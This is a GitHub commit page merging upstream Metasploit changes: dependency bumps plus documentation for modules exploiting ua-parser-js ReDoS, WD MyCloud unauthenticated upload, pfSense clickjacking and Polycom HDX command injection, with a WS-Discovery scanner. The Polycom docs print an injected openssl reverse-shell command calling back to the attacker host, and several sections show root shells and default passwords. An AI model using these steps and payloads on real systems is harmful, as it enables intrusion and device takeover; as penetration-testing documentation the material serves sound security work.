Skip to content

Commit e435dce

Browse files
nromsdahlnromsdahl
authored
Merge pull request #1 from rapid7/master
Update from Original
2 parents b24f70c + c6a2ae2 commit e435dce

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

41 files changed

+2141
-194
lines changed

‎Gemfile.lock

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.21)
4+
metasploit-framework (4.16.23)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -17,7 +17,7 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.18)
20+
metasploit-payloads (= 1.3.19)
2121
metasploit_data_models
2222
metasploit_payloads-mettle (= 0.2.8)
2323
msgpack
@@ -138,7 +138,7 @@ GEM
138138
multi_json (~> 1.11)
139139
os (~> 0.9)
140140
signet (~> 0.7)
141-
grpc (1.7.2)
141+
grpc (1.7.3)
142142
google-protobuf (~> 3.1)
143143
googleapis-common-protos-types (~> 1.0.0)
144144
googleauth (>= 0.5.1, < 0.7)
@@ -178,7 +178,7 @@ GEM
178178
activemodel (~> 4.2.6)
179179
activesupport (~> 4.2.6)
180180
railties (~> 4.2.6)
181-
metasploit-payloads (1.3.18)
181+
metasploit-payloads (1.3.19)
182182
metasploit_data_models (2.0.15)
183183
activerecord (~> 4.2.6)
184184
activesupport (~> 4.2.6)
@@ -193,7 +193,7 @@ GEM
193193
method_source (0.9.0)
194194
mini_portile2 (2.3.0)
195195
minitest (5.10.3)
196-
msgpack (1.1.0)
196+
msgpack (1.2.0)
197197
multi_json (1.12.2)
198198
multipart-post (2.0.0)
199199
nessus_rest (0.1.6)

‎README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework)
1+
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
22
==
33
The Metasploit Framework is released under a BSD-style license. See
44
COPYING for more details.

‎data/exploits/pfsense_clickjacking/background.jpg

1.41 MB
Loading

‎data/exploits/pfsense_clickjacking/cookieconsent.min.css

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎data/exploits/pfsense_clickjacking/cookieconsent.min.js

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
4+
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
5+
Any application that uses a vulnerable version of this module and calls the `getOS`
6+
or `getResult` functions will be vulnerable to this module. An example server is provided
7+
below.
8+
9+
## How to Install
10+
11+
To install a vulnerable version of `ua-parser-js`, run:
12+
```
13+
npm i [email protected]
14+
```
15+
16+
## Verification Steps
17+
18+
Example steps in this format (is also in the PR):
19+
20+
1. Create a new directory for test application.
21+
2. Copy below example server into test application directory as `server.js`.
22+
3. Run `npm i express` to install express in the test application directory.
23+
4. To test vulnerable versions of the module, run `npm i [email protected]` to install a vulnerable version of ua-parser-js.
24+
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
25+
6. Once all dependencies are installed, run the server with `node server.js`.
26+
7. Open up a new terminal.
27+
8. Start msfconsole.
28+
9. `use auxiliary/dos/http/ua_parser_js_redos`.
29+
10. `set RHOST [IP]`.
30+
11. `run`.
31+
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
32+
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
33+
34+
## Scenarios
35+
36+
### ua-parser-js npm module version 0.7.15
37+
38+
Expected output for successful exploitation:
39+
40+
```
41+
[*] Testing Service to make sure it is working.
42+
[*] Test request successful, attempting to send payload
43+
[*] Sending ReDoS request to 192.168.3.24:3000.
44+
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
45+
[*] Testing for service unresponsiveness.
46+
[+] Service not responding.
47+
[*] Auxiliary module execution completed
48+
```
49+
50+
### Example Vulnerable Application
51+
52+
```
53+
// npm i express
54+
// npm i [email protected] (vulnerable)
55+
// npm i ua-parser-js (non-vulnerable)
56+
57+
const express = require('express')
58+
const uaParser = require('ua-parser-js');
59+
const app = express()
60+
61+
app.get('/', (req, res) => {
62+
var parser = new uaParser(req.headers['user-agent']);
63+
res.end(JSON.stringify(parser.getResult()));
64+
});
65+
66+
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
67+
```

‎documentation/modules/auxiliary/scanner/wsdd/wsdd_query.md

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
## Vulnerable Application
2+
3+
[Web Services Dynamic Discovery (WS-Discovery)](https://en.wikipedia.org/wiki/WS-Discovery) is a multicast discovery protocol utilising SOAP over UDP to locate web services on a local network.
4+
5+
Web service enabled devices typically include printers, scanners and file shares.
6+
7+
The reply from some devices may include optional vendor extensions. This data may include network information such as the device MAC address and hostname, or hardware information such as the serial number, make, and model.
8+
9+
10+
## Verification Steps
11+
12+
1. Start `msfconsole`
13+
2. Do: `use auxiliary/scanner/wsdd/wsdd_query`
14+
3. Do: `set RHOSTS [IP]` (Default: `239.255.255.250`)
15+
4. Do: `run`
16+
17+
18+
## Scenarios
19+
20+
```
21+
msf > use auxiliary/scanner/wsdd/wsdd_query
22+
msf auxiliary(wsdd_query) > set rhosts 239.255.255.250
23+
rhosts => 239.255.255.250
24+
msf auxiliary(wsdd_query) > run
25+
26+
[*] Sending WS-Discovery probe to 1 hosts
27+
[+] 10.1.1.184 responded with:
28+
Address: http://10.1.1.184:3911/
29+
Types: wsdp:Device, wprt:PrintDeviceType, wscn:ScanDeviceType, hpd:hpDevice
30+
Vendor Extensions: {"HardwareAddress"=>"123456789ABC", "UUID"=>"12345678-1234-1234-abcd-123456789abc", "IPv4Address"=>"10.1.1.123", "Hostname"=>"HP09AAFB", "DeviceId"=>"MFG:HP;MDL:Photosmart 5520 series;DES:CX042A;", "DeviceIdentification"=>{"MakeAndModel"=>"Photosmart 5520 series", "MakeAndModelBase"=>"Photosmart 5520 series"}, "SerialNumber"=>"123456", "Services"=>" Print9100 SclScan RESTScan CIFS DOT4 LEDM", "AdapterType"=>"WifiEmbedded"}
31+
[*] Scanned 1 of 1 hosts (100% complete)
32+
[*] Auxiliary module execution completed
33+
```
34+

‎documentation/modules/exploit/linux/http/wd_mycloud_multiupload_upload.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Description
2+
3+
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
4+
5+
## Vulnerable Application
6+
7+
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
8+
9+
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
10+
11+
## Verification Steps
12+
13+
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
14+
2. Do: ```set RHOST [IP]```
15+
3. Do: ```check```
16+
4. It should be reported as vulnerable
17+
5. Do: ```run```
18+
6. You should get a shell
19+
20+
## Scenarios
21+
22+
```
23+
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
24+
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
25+
RHOST => 192.168.86.104
26+
msf exploit(wd_mycloud_multiupload_upload) > check
27+
[+] 192.168.86.104:80 The target is vulnerable.
28+
msf exploit(wd_mycloud_multiupload_upload) > run
29+
30+
[*] Started reverse TCP handler on 192.168.86.215:4444
31+
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
32+
[+] Uploaded PHP payload successfully.
33+
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
34+
[*] Sending stage (37543 bytes) to 192.168.86.104
35+
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
36+
[+] Deleted .7bc5NqFMK5.php
37+
38+
meterpreter > getuid
39+
Server username: root (0)
40+
```

‎documentation/modules/exploit/unix/http/pfsense_clickjacking.md

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
## Vulnerable Application
2+
3+
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
4+
5+
## Vulnerable Setup
6+
7+
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.
8+
9+
## Verification Steps
10+
11+
1. `use exploit/unix/http/pfsense_clickjacking`
12+
2. `set TARGETURI https://<ip WebGUI>`
13+
3. `exploit`
14+
4. Browse to the URL returned by MSF
15+
5. Click anywhere on the returned page
16+
6. Note that a new Meterpreter sessions was started.
17+
18+
19+
## Options
20+
21+
**TARGETURI**
22+
23+
The base path of the WebGUI. The default base path is https://192.168.1.1/

‎documentation/modules/exploit/unix/misc/polycom_hdx_traceroute_exec.md

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
2+
3+
4+
## Vulnerable Application
5+
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
6+
7+
## Options
8+
### PASSWORD
9+
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
10+
the devices.
11+
12+
13+
## Payloads
14+
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
15+
16+
```
17+
Compatible Payloads
18+
===================
19+
20+
Name Disclosure Date Rank Description
21+
---- --------------- ---- -----------
22+
cmd/unix/generic normal Unix Command, Generic Command Execution
23+
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
24+
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
25+
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
26+
```
27+
28+
## Verification Steps
29+
30+
A successful check of the exploit will look like this:
31+
```
32+
msf exploit(polycom) > set RHOST 192.168.0.17
33+
RHOST => 192.168.0.17
34+
msf exploit(polycom) > set LHOSt ens3
35+
LHOSt => ens3
36+
msf exploit(polycom) > set LPORT 3511
37+
LPORT => 3511
38+
msf exploit(polycom) > show payloads
39+
40+
Compatible Payloads
41+
===================
42+
43+
Name Disclosure Date Rank Description
44+
---- --------------- ---- -----------
45+
cmd/unix/generic normal Unix Command, Generic Command Execution
46+
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
47+
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
48+
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
49+
50+
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
51+
PAYLOAD => cmd/unix/reverse
52+
msf exploit(polycom) > set VERBOSE false
53+
VERBOSE => false
54+
msf exploit(polycom) > run
55+
56+
[*] Started reverse TCP double handler on 192.168.0.11:3511
57+
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
58+
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
59+
[*] Accepted the first client connection...
60+
[*] Accepted the second client connection...
61+
[*] Command: echo vGopPRp0jBxt4J2D;
62+
[*] Writing to socket A
63+
[*] Writing to socket B
64+
[*] Reading from sockets...
65+
[*] Reading from socket B
66+
[*] B: "vGopPRp0jBxt4J2D\n"
67+
[*] Matching...
68+
[*] A is input...
69+
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
70+
[*] 192.168.0.17:23 - Shutting down payload stager listener...
71+
72+
id
73+
uid=0(root) gid=0(root)
74+
whoami
75+
root
76+
```
77+
78+
## Debugging
79+
Setting `VERBOSE` to true should yield an output of.
80+
81+
```
82+
msf exploit(polycom) > set VERBOSE true
83+
VERBOSE => true
84+
rmsf exploit(polycom) > run
85+
86+
[*] Started reverse TCP double handler on 192.168.0.11:3511
87+
[*] 192.168.0.17:23 - Received : !
88+
Polycom Command Shell
89+
XCOM host: localhost port: 4121
90+
TTY name: /dev/pts/6
91+
Session type: telnet
92+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
93+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
94+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
95+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
96+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
97+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
98+
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
99+
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
100+
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
101+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
102+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
103+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
104+
105+
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
106+
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
107+
[*] Accepted the first client connection...
108+
[*] Accepted the second client connection...
109+
[*] Command: echo WD3QloY3fys6n7dK;
110+
[*] Writing to socket A
111+
[*] Writing to socket B
112+
[*] Reading from sockets...
113+
[*] 192.168.0.17:23 - devcmds
114+
Entering sticky internal commands *ONLY* mode...
115+
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
116+
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
117+
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
118+
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
119+
120+
[*] Reading from socket B
121+
[*] B: "WD3QloY3fys6n7dK\n"
122+
[*] Matching...
123+
[*] A is input...
124+
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
125+
[*] 192.168.0.17:23 - Shutting down payload stager listener...
126+
127+
id
128+
uid=0(root) gid=0(root)
129+
whoami
130+
root
131+
```

0 commit comments

Comments
 (0)